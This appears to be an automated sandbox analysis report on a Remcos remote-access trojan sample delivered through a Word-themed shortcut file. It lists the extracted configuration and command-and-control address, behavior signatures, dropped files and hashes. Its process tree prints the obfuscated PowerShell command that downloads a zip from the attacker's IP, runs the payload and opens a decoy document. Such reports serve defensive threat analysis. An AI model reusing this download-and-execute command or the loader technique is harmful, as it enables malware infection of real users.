remcos | 50b628bc603d846c04ab5dc56a5bc40b32b219c29211661f663ec7bb160a0554

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07-09-2024 01:16

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General

Target

oshad_88.docx.lnk
Size

15KB
MD5

64a52682aa182ab4a0e2cebaeaad3f17
SHA1

372c0fdf264c4204b490e11717e51d4ffd97b694
SHA256

9549f73133514942aadfcf6f3f38f5d89e573ba7d9b18cde44f29f0a172d7c32
SHA512

21dab4c078f34e63677eed29a80f240e0d9687e91a4868f6fa812ede45aec7133242c3c5fa9a324b1ca9040407a4c584ffc820c4617efd712314821a6bc2e5b4
SSDEEP

48:88muavUQSIuvZujofxvUZ7HEVxCTI2evUZ7vUqbbudCZZGXu/dZZIa7x:88y81vZiofxHVxCTIRVqeuqQ

Score

10^/10

remcos stalagg discovery rat

Malware Config

Extracted

Family

remcos

Botnet

stalagg

5.181.156.117:8576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-5TL39W
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2588	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
2828	scr_previw.exe
4516	scr_previw.exe

Loads dropped DLL 2 IoCs

pid	Process
2828	scr_previw.exe
4516	scr_previw.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4516 set thread context of 2672	4516	scr_previw.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2568	WINWORD.EXE
2568	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2588	powershell.exe
2588	powershell.exe
2828	scr_previw.exe
4516	scr_previw.exe
4516	scr_previw.exe
2672	cmd.exe
2672	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4516	scr_previw.exe
2672	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2588	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2568	WINWORD.EXE
2568	WINWORD.EXE
2568	WINWORD.EXE
2568	WINWORD.EXE
2568	WINWORD.EXE
2568	WINWORD.EXE
2568	WINWORD.EXE
2568	WINWORD.EXE
2568	WINWORD.EXE

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 2588	4456	cmd.exe	84
PID 4456 wrote to memory of 2588	4456	cmd.exe	84
PID 2588 wrote to memory of 2828	2588	powershell.exe	98
PID 2588 wrote to memory of 2828	2588	powershell.exe	98
PID 2588 wrote to memory of 2828	2588	powershell.exe	98
PID 2588 wrote to memory of 2568	2588	powershell.exe	99
PID 2588 wrote to memory of 2568	2588	powershell.exe	99
PID 2828 wrote to memory of 4516	2828	scr_previw.exe	100
PID 2828 wrote to memory of 4516	2828	scr_previw.exe	100
PID 2828 wrote to memory of 4516	2828	scr_previw.exe	100
PID 4516 wrote to memory of 2672	4516	scr_previw.exe	101
PID 4516 wrote to memory of 2672	4516	scr_previw.exe	101
PID 4516 wrote to memory of 2672	4516	scr_previw.exe	101
PID 4516 wrote to memory of 2672	4516	scr_previw.exe	101
PID 2672 wrote to memory of 4112	2672	cmd.exe	107
PID 2672 wrote to memory of 4112	2672	cmd.exe	107
PID 2672 wrote to memory of 4112	2672	cmd.exe	107
PID 2672 wrote to memory of 4112	2672	cmd.exe	107
PID 2672 wrote to memory of 4112	2672	cmd.exe	107

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\oshad_88.docx.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo VkGdaYkxoSDqagAIMUSqWeFFKWBdyoLFWRVEvjodFocYsOlZlDgEkQa; echo VhNVdmCjPvnIlvvpkwnxlfeIqZy; echo UwsGnhMnhQixhmuGlsBMAPSDKSsWQDTvdxNCBxsgEjgUchAAbOiaDRD; if (-not(Test-Path 'glorytoukraine.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/glorytoukraine.zip -OutFile glorytoukraine.zip}; echo EYBUMEUtkQyUZiebvxwQgurwULNqqzvPMqEGDCvesKCkTRWVCRwLrUXxdJ; Expand-Archive -Path glorytoukraine.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/scr_previw.exe; echo DaHNXRcvYEIwZocbzUwYQhKQphrgcaAkqoP; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/racs/oshad_88.docx -OutFile oshad_88.docx; echo vKOMValDMwyQRtxOaMEdppITpcmMluNArXmDGCX; s''t''a''rt oshad_88.docx
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2588
- - C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe
    "C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2828
  - - C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4516
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2672
      - C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4112
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\oshad_88.docx" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD167F.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f04lk0ql.cp2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\f54e3911

Filesize
1.2MB

MD5
0d0d13604547ff1545c5e359d7a3bcd9

SHA1
50b3a26220f2b399f4fc81322f7de3c4aeccd777

SHA256
1063fc28f35a18c26fd43971c443d3b085917d11a558d6b13ca1c3ddb8988ec3

SHA512
8209966354f290c15bb653f59febdbcff0d27510d8ec89a116e8e65bb7cbe6d684d5f2121856cd043bffe79a4f8bc149343610493eeb01da5a7775f1c28148cf

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
262B

MD5
f204727248ec528893b174f890a46c28

SHA1
39d1342f45ad94b1f3f3daf44e72c87b7331507a

SHA256
076ce1009f8a4b6a8b6be19e44bf16f5eba1a2144971d7c352b281c42e755d34

SHA512
6adeda9e8b12efa6d61366d490a1e4c4843ba471771a64923f41e536686a8736d96269c42ea4fd6b9460f869741e2b32f54bcfd0ef51ff1d02fe7feeb26b5987

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
3KB

MD5
e72dc02d4a4148328879071fd6a60fe4

SHA1
3cb529b729e3e24078771e77334fbac53687b312

SHA256
16826e80fcea16f2f12d1776e8df2c5bf75a1ae1b2f1740cd69f01bbc7b47998

SHA512
48bdba760866918c12e9e441e6384670b0b7ef413eb75fbe9b20b608c056d28b8223aad81ff3237b356a758d0331c4b3e552f2b1b4fb96e47dba5d18c5c47f17

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
f41765073227f3dbe6e25746d51f2a13

SHA1
37b41ffb9944b48183ae75feb59e2e4915cab9e9

SHA256
851f0a813b8228bcc8d0d0c5f25636e1583549519d9c75360d66a3faaf2bce33

SHA512
8e2772db3de44ae6206d1e6491660b452b2b7055b945ce17ebd5a9cef6eceb078a391fcc40d41e025da5a9e72c7ade268f078b8f11af2e90fb03e8ce5e52c475

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\d3dx9_43.dll

Filesize
1.9MB

MD5
46e435aecb557fcb16ae2ea3b22ab7fd

SHA1
5290156599fd9575c4401c80949ad5672fe64da5

SHA256
70e0b720bb461503acbd947a8355fb629d703b8d7f99ddfbb09a0c71886861da

SHA512
621010aa44868062361c6dbb670f8664c370ddcb0afbb5835765470522c03bb5ac779e86236cfffdcf343cbc582f81beacd2a7108d78c90d4dfc4c38e7d23bb3

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\rnyt

Filesize
1.0MB

MD5
289d2d639e058b63ebe16bd8d543115d

SHA1
969736e5f6a2c416f556e2f73358020573486afc

SHA256
f21bf56c8d15824dc1cf4108725f73154b88a89ab23f00a7f8dbb2d2de8e2568

SHA512
7adf83c9795d9705c4c1345422d17ad26b6d4f27a8242674f44b2d2a05080e532d9a64c43803164bf25c4e9eb5cac7a0d3789d71e9f34b46b5b9c6203fad65aa

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe

Filesize
2.2MB

MD5
d9530ecee42acccfd3871672a511bc9e

SHA1
89b4d2406f1294bd699ef231a4def5f495f12778

SHA256
81e04f9a131534acc0e9de08718c062d3d74c80c7f168ec7e699cd4b2bd0f280

SHA512
d5f048ea995affdf9893ec4c5ac5eb188b6714f5b6712e0b5a316702033421b145b8ee6a62d303eb4576bf8f57273ff35c5d675807563a31157136f79d8a9980

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\tkjm

Filesize
80KB

MD5
cae9827c507632c4a1980479c21a42a2

SHA1
d9a1c5900a93066645bf8fb7c79dacf56f3eaa3e

SHA256
efeec4c2f612130ec81f3796bba26471e14dcf97b0e22247b7c7f40ad2eba0cf

SHA512
441fb631ed26bfe5b84c4fd267a43fbacc64e0adae0e90d0d8e11a248fa2ab47d43a54f1cc3903532943d158d87a2e236976830834545b0d13471731b6f61768

Download Submit
C:\Users\Admin\AppData\Roaming\oshad_88.docx

Filesize
15KB

MD5
35a1aa0fc4972286c1db07e513c3abbc

SHA1
89f5e48e02a03978cd7931651518472c38a7b272

SHA256
be338409f57304177e56712593a9345b54d8361ef1fdc767a2fc683a6508cb4e

SHA512
f111c86ea937763d091ed195507ee9b3bc95854e22bf31142a9e96bdeb5c273f91f803ea463f8296d5ce611de3a9d959e993fbc03261022a074a203d14ad29c4

Download Submit
memory/2568-55-0x00007FFACC010000-0x00007FFACC020000-memory.dmp

Filesize
64KB

Download
memory/2568-58-0x00007FFACC010000-0x00007FFACC020000-memory.dmp

Filesize
64KB

Download
memory/2568-59-0x00007FFACC010000-0x00007FFACC020000-memory.dmp

Filesize
64KB

Download
memory/2568-67-0x00007FFACC010000-0x00007FFACC020000-memory.dmp

Filesize
64KB

Download
memory/2568-71-0x00007FFAC9C90000-0x00007FFAC9CA0000-memory.dmp

Filesize
64KB

Download
memory/2568-63-0x00007FFACC010000-0x00007FFACC020000-memory.dmp

Filesize
64KB

Download
memory/2568-70-0x00007FFAC9C90000-0x00007FFAC9CA0000-memory.dmp

Filesize
64KB

Download
memory/2588-21-0x00000253F9370000-0x00000253F9382000-memory.dmp

Filesize
72KB

Download
memory/2588-8-0x00000253F92E0000-0x00000253F9302000-memory.dmp

Filesize
136KB

Download
memory/2588-13-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/2588-54-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/2588-14-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/2588-15-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/2588-22-0x00000253F92D0000-0x00000253F92DA000-memory.dmp

Filesize
40KB

Download
memory/2588-2-0x00007FFAEDF93000-0x00007FFAEDF95000-memory.dmp

Filesize
8KB

Download
memory/2588-20-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/2588-17-0x00007FFAEDF90000-0x00007FFAEEA51000-memory.dmp

Filesize
10.8MB

Download
memory/2588-16-0x00007FFAEDF93000-0x00007FFAEDF95000-memory.dmp

Filesize
8KB

Download
memory/2672-114-0x00007FFB0BF90000-0x00007FFB0C185000-memory.dmp

Filesize
2.0MB

Download
memory/2672-539-0x0000000075030000-0x00000000751AB000-memory.dmp

Filesize
1.5MB

Download
memory/2828-47-0x00000000745B0000-0x000000007472B000-memory.dmp

Filesize
1.5MB

Download
memory/2828-50-0x00007FFB0BF90000-0x00007FFB0C185000-memory.dmp

Filesize
2.0MB

Download
memory/4112-568-0x00007FFB0BF90000-0x00007FFB0C185000-memory.dmp

Filesize
2.0MB

Download
memory/4112-569-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/4112-589-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/4516-96-0x0000000075030000-0x00000000751AB000-memory.dmp

Filesize
1.5MB

Download
memory/4516-68-0x0000000075030000-0x00000000751AB000-memory.dmp

Filesize
1.5MB

Download
memory/4516-69-0x00007FFB0BF90000-0x00007FFB0C185000-memory.dmp

Filesize
2.0MB

Download